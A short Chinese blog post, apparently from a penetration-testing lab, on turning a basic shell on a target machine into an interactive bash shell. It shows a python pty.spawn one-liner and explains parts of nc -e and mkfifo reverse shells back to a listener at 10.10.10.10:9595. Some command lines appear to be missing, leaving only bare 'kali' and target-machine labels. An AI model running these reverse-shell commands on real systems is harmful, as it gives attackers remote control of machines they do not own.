转载自己网站:https://www.huangmj.com
1、通过python中pty库
python3 -c "import pty;pty.spawn('/bin/bash')"
2、通过再新建一个反弹shell
kali
靶机
-e 绑定/bin/bash
3、通过mkfifo再新建反弹shell
kali
靶机
rm /tmp/f 删除临时文件夹的这个文件
mkfifo 做一个隧道,用“|”指定到bash
-i 指定交互性 2>&1 错误重定向输出
nc 10.10.10.10 9595 用nc反弹监听9595端口
\> /tmp/f 重定向到/tmp/f,形成闭环
注意,可以看到当我们第一次在原有交互里输入echo $SHELL是直接返回的,这个是不正常的,那么我们可以直接输入bash命令,实际等于新建了一个bash,再次查看时就已经显示实在bash这个shell里了
kali